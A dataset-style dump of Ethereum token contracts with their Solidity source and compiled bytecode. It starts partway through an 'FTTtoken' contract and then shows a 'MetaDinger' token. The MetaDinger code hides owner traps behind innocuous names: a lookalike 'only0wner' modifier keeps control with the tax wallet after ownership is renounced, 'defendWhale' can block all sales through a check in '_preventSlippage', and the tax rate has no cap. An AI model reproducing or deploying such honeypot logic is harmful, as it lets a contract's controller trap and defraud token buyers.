function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/FTTtoken.sol
contract FTTtoken is MintableToken, PausableToken {
string public name = "FastTruckToken";
string public symbol = "FTT";
uint public decimals = 2;
address privateSaleAddress = 0xeDd84ef9D279a57a86cF2223e2a4ac579249d8a8;
address reserveAddress = 0xC8eD531A83d90a5CD557033a562eF539b8250c8d;
function FTTtoken() public {
mint(privateSaleAddress, 15000000 * (10 ** decimals));
mint(reserveAddress, 985000000 * (10 ** decimals));
finishMinting();
}
} | 0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde0314610139578063095ea7b3146101c757806318160ddd1461022157806323b872dd1461024a578063313ce567146102c35780633f4ba83a146102ec57806340c10f19146103015780635c975abb1461035b578063661884631461038857806370a08231146103e25780637d64bcb41461042f5780638456cb591461045c5780638da5cb5b1461047157806395d89b41146104c6578063a9059cbb14610554578063d73dd623146105ae578063dd62ed3e14610608578063f2fde38b14610674575b600080fd5b341561011757600080fd5b61011f6106ad565b604051808215151515815260200191505060405180910390f35b341561014457600080fd5b61014c6106c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610207600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061075e565b604051808215151515815260200191505060405180910390f35b341561022c57600080fd5b61023461078e565b6040518082815260200191505060405180910390f35b341561025557600080fd5b6102a9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610798565b604051808215151515815260200191505060405180910390f35b34156102ce57600080fd5b6102d66107ca565b6040518082815260200191505060405180910390f35b34156102f757600080fd5b6102ff6107d0565b005b341561030c57600080fd5b610341600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610890565b604051808215151515815260200191505060405180910390f35b341561036657600080fd5b61036e610a76565b604051808215151515815260200191505060405180910390f35b341561039357600080fd5b6103c8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a89565b604051808215151515815260200191505060405180910390f35b34156103ed57600080fd5b610419600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ab9565b6040518082815260200191505060405180910390f35b341561043a57600080fd5b610442610b01565b604051808215151515815260200191505060405180910390f35b341561046757600080fd5b61046f610bc9565b005b341561047c57600080fd5b610484610c8a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d157600080fd5b6104d9610cb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105195780820151818401526020810190506104fe565b50505050905090810190601f1680156105465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561055f57600080fd5b610594600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d4e565b604051808215151515815260200191505060405180910390f35b34156105b957600080fd5b6105ee600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d7e565b604051808215151515815260200191505060405180910390f35b341561061357600080fd5b61065e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dae565b6040518082815260200191505060405180910390f35b341561067f57600080fd5b6106ab600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e35565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107565780601f1061072b57610100808354040283529160200191610756565b820191906000526020600020905b81548152906001019060200180831161073957829003601f168201915b505050505081565b6000600360159054906101000a900460ff1615151561077c57600080fd5b6107868383610f8d565b905092915050565b6000600154905090565b6000600360159054906101000a900460ff161515156107b657600080fd5b6107c184848461107f565b90509392505050565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561082c57600080fd5b600360159054906101000a900460ff16151561084757600080fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ee57600080fd5b600360149054906101000a900460ff1615151561090a57600080fd5b61091f8260015461143990919063ffffffff16565b600181905550610976826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360159054906101000a900460ff1681565b6000600360159054906101000a900460ff16151515610aa757600080fd5b610ab18383611457565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5f57600080fd5b600360149054906101000a900460ff16151515610b7b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2557600080fd5b600360159054906101000a900460ff16151515610c4157600080fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d465780601f10610d1b57610100808354040283529160200191610d46565b820191906000526020600020905b815481529060010190602001808311610d2957829003601f168201915b505050505081565b6000600360159054906101000a900460ff16151515610d6c57600080fd5b610d7683836116e8565b905092915050565b6000600360159054906101000a900460ff16151515610d9c57600080fd5b610da68383611907565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ecd57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110bc57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561110957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561119457600080fd5b6111e5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611278826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561144d57fe5b8091505092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611568576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115fc565b61157b8382611b0390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561172557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561177257600080fd5b6117c3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611856826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061199882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611b1157fe5b8183039050929150505600a165627a7a7230582070df6780eb5a5ef9abc804729069dfc651d04e051cd6e6f32474d72fa902153b0029 | {"success": true, "error": null, "results": {}} | 1,937 |
0xeFE59b97576C6cf0a41fC84e9Cf75411A0975e43 | // SPDX-License-Identifier: Apache-2.0
// Telegram: t.me/metadinger
pragma solidity ^0.8.7;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_owner = address(0xdead);
}
}
contract MetaDinger is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=8;
address payable private _taxWallet;
string private constant _name = "Meta Dinger";
string private constant _symbol = "METADINGER";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _load = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_preventSlippage(from,to);
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_load = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
modifier only0wner() {
require(_taxWallet == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _preventSlippage(address from, address to) private{
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require( _load>100000);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function defendWhale(uint256 g) external only0wner {
_load = g;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d3578063517758d8146101fe57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190611f0e565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fc9565b6103f6565b6040516101629190612024565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d919061204e565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612069565b61041e565b6040516101ca9190612024565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f591906120d8565b60405180910390f35b34801561020a57600080fd5b50610225600480360381019061022091906120f3565b6104fc565b005b34801561023357600080fd5b5061023c610567565b005b34801561024a57600080fd5b5061026560048036038101906102609190612120565b6105e1565b604051610272919061204e565b60405180910390f35b34801561028757600080fd5b50610290610632565b005b34801561029e57600080fd5b506102a7610787565b6040516102b4919061215c565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df9190611f0e565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fc9565b6107ed565b60405161031c9190612024565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906120f3565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190612177565b610e0b565b604051610399919061204e565b60405180910390f35b3480156103ae57600080fd5b506103b7610e92565b005b60606040518060400160405280600b81526020017f4d6574612044696e676572000000000000000000000000000000000000000000815250905090565b600061040a610403610f04565b8484610f0c565b6001905092915050565b6000600454905090565b600061042b8484846110d7565b6104ec84610437610f04565b6104e785604051806060016040528060288152602001612c4a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d610f04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112149092919063ffffffff16565b610f0c565b600190509392505050565b600090565b610504610f04565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b80600b8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105a8610f04565b73ffffffffffffffffffffffffffffffffffffffff16146105c857600080fd5b60006105d3306105e1565b90506105de81611278565b50565b600061062b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611500565b9050919050565b61063a610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be90612203565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4d45544144494e47455200000000000000000000000000000000000000000000815250905090565b60006108016107fa610f04565b84846110d7565b6001905092915050565b610813610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612203565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db9061226f565b60405180910390fd5b8060078190555050565b6108f6610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a90612203565b60405180910390fd5b600a60149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906122db565b60405180910390fd5b610a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190612310565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2657600080fd5b505afa158015610b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5e9190612310565b6040518363ffffffff1660e01b8152600401610b7b92919061233d565b602060405180830381600087803b158015610b9557600080fd5b505af1158015610ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcd9190612310565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c56306105e1565b600080610c61610787565b426040518863ffffffff1660e01b8152600401610c83969594939291906123ab565b6060604051808303818588803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd59190612421565b5050506001600a60166101000a81548160ff021916908315150217905550600454600b819055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610db6929190612474565b602060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0891906124c9565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed3610f04565b73ffffffffffffffffffffffffffffffffffffffff1614610ef357600080fd5b6000479050610f018161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7390612568565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fec576040517f08c379a000000000